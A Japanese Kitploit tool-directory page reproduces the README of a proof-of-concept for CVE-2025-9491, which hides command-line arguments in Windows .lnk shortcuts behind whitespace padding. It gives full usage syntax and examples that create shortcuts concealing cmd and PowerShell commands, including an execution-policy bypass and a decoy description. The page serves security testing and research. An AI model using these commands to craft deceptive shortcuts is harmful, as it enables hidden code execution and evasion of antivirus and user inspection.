Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-9491_POC — Windowsショートカットファイル(.lnk)の引数に不可視文字を使用したCVE-2025-9491の概念実証 | Kitploit
ツール/GitHubGitHub/amperclock/cve-2025-9491_poc
エクスプロイトペネトレーションテストバイナリ解析学習と教育レッドチーミングペイロード開発
GitHubamperclock/cve-2025-9491_poc

CVE-2025-9491_POC

Windowsショートカットファイル(.lnk)の引数に不可視文字を使用したCVE-2025-9491の概念実証

リポジトリを見る
1849ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-9491 LNK 難読化 PoC

Windows ショートカット(.lnk)ファイルの脆弱性(ZDI-CAN-25373 / CVE-2025-9491)を実証する概念実証ツールです。このツールは、空白文字パディングを利用して悪意のあるコマンドライン引数を .lnk ファイル内に隠す方法を示します。

このツールは教育目的および許可されたセキュリティテストの目的のみで提供されています。 コンピュータシステムへの不正アクセスは違法です。このツールは、自分が所有しているか、明示的なテスト許可を得ているシステムでのみ使用してください。


目次

  • 説明
  • 脆弱性の詳細
  • インストール
  • 使用方法
    • 作成モード
    • 難読化モード
    • 解析モード
  • クレジット

説明

これは、Windows の .lnk(ショートカット)ファイルを作成・操作し、CVE-2025-9491 脆弱性を実証するための概念実証ツールです。このツールでは以下の操作が可能です。

  1. 新規に難読化された LNK ファイルを作成(ゼロから)
  2. 既存の LNK ファイルを難読化(引数にパディングを追加)
  3. LNK ファイルを解析して内容を検査

この脆弱性は、Windows がショートカットのプロパティを表示する仕組みを悪用し、攻撃者がショートカットを検査するユーザーから悪意のあるコマンドライン引数を隠すことを可能にします。


脆弱性の詳細

CVE-2025-9491 は、.lnk(ショートカット)ファイルに影響する Windows UI の誤表示脆弱性です。Trend Micro の Zero Day Initiative(ZDI-CAN-25373)によって発見され、少なくとも 2017 年以降、国家支援を受けた APT グループによって悪用されています(詳細はクレジットを参照)。

この脆弱性は、Windows ショートカット UI の固定サイズの「ターゲット」フィールドを悪用します。引数を空白文字(スペース、タブ、改行、復帰)でパディングすることで、悪意のあるコマンドを隠し、隠されたペイロードを実行できます。これにより、ショートカットを検査するユーザーは実際のコマンドではなくパディングされた空白だけを見ることになり、EDR のテレメトリ上では極端に長いコマンドラインが記録され、十分に長ければ一般的な EPP や AV は読み取りを放棄するため、検出回避にも利用されます。


インストール

Python 3.7 以上が必要です。

  1. リポジトリのクローンまたはダウンロード:

    root@kitploit:~
    git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
    cd CVE-2025-9491_POC
    
  2. 依存関係のインストール:

    root@kitploit:~
    簡易的な方法です。venv の使用を推奨します。
    pip install -r requirements.txt
    
  3. ツールの実行:

    root@kitploit:~
    python main.py --help
    

使用方法

ツールには create、obfuscate、parse の 3 つのメインモードがあります。

作成モード

新規に難読化された LNK ファイルをゼロから作成します。

構文:

root@kitploit:~
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]

必須引数:

  • -t, --target - 対象の実行可能ファイルへのパス
  • -a, --arguments - 対象の実行可能ファイルに渡す引数
  • -o, --output - 出力 LNK ファイルの保存先

オプション引数:

  • -c, --charset - パディング用のカスタム文字セット(HEX 形式)
    • デフォルト: 20,09,0A,0B,0C,0D(スペース、タブ、LF、VT、FF、CR)
    • 形式: カンマ区切りの HEX 値(0x プレフィックス無し)
  • -s, --padding_size - パディング文字数
    • デフォルト: 128(既知の上限なし)
    • 型: 整数
  • -p, --pattern_type - パディングパターンのスタイル
    • 1(デフォルト): ランダムパターン - 文字セットからランダムに選択
    • 2: モノパターン - 最初の文字セット要素を繰り返す
    • 3: サイクリングパターン - 文字セット要素を循環
  • -i, --icon - ショートカットに使用するカスタムアイコンのパス
    • デフォルト: なし(デフォルトアイコンを使用)
  • -d, --description - ショートカットの表示説明文
    • デフォルト: なし
  • -v, --verbose - 詳細出力を有効化
    • デフォルト: 無効

例:

root@kitploit:~
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v

難読化モード

既存の LNK ファイルの引数にパディングを追加します。

構文:

root@kitploit:~
python main.py obfuscate -i INPUT -o OUTPUT [options]

必須引数:

  • -i, --input - 難読化する既存の LNK ファイルのパス
  • -o, --output - 出力 LNK ファイルの保存先

オプション引数:

  • -c, --charset - パディング用のカスタム文字セット(HEX 形式)
    • デフォルト: 20,09,0A,0B,0C,0D
    • 形式: カンマ区切りの HEX 値
  • -s, --padding_size - パディング文字数
    • デフォルト: 128
    • 型: 整数
  • -p, --pattern_type - パディングパターンのスタイル
    • 1(デフォルト): ランダムパターン
    • 2: モノパターン
    • 3: サイクリングパターン
  • -v, --verbose - 詳細出力を有効化
    • ファイルの読み込み、パディング生成、保存操作を表示

例:

root@kitploit:~
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v

解析モード

既存の LNK ファイルの内容を表示します。

構文:

root@kitploit:~
python main.py parse -i INPUT

必須引数:

  • -i, --input - 解析・表示する LNK ファイルのパス

例:

root@kitploit:~
python main.py parse -i output.lnk

例

例 1: シンプルな難読化ショートカットの作成

root@kitploit:~
python main.py create \
  -t "cmd.exe" \
  -a "/c powershell -Command Get-Process" \
  -o malicious.lnk \
  -s 200 \
  -p 1 \
  -v

これにより、200 のランダムパディング文字が先頭に付加された隠し PowerShell コマンドを持つ cmd.exe へのショートカットが作成されます。

例 2: 既存のショートカットの難読化

root@kitploit:~
python main.py obfuscate \
  -i "legitimate.lnk" \
  -o "obfuscated.lnk" \
  -s 512 \
  -c "20,09,0A" \
  -p 2

これにより、既存のショートカットに 512 文字のモノパターンパディング(スペースとタブを使用)が追加されます。

例 3: LNK ファイルの検査

root@kitploit:~
python main.py parse -i "suspicious.lnk"

出力には隠された引数を含むすべてのプロパティが表示されます。

例 4: カスタム文字セットパターン

root@kitploit:~
python main.py create \
  -t "powershell.exe" \
  -a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
  -o output.lnk \
  -c "20,09,0A,0B,0C,0D" \
  -s 1024 \
  -p 3 \
  -d "My Document"

クレジット

  • 脆弱性の発見: Trend Micro Zero Day Initiative ZDI-CAN-25373
  • pylnk3 ライブラリ: Strayge とコントリビューター
  • オリジナルの pylnk ライブラリ: tim-erwin
ツールをダウンロード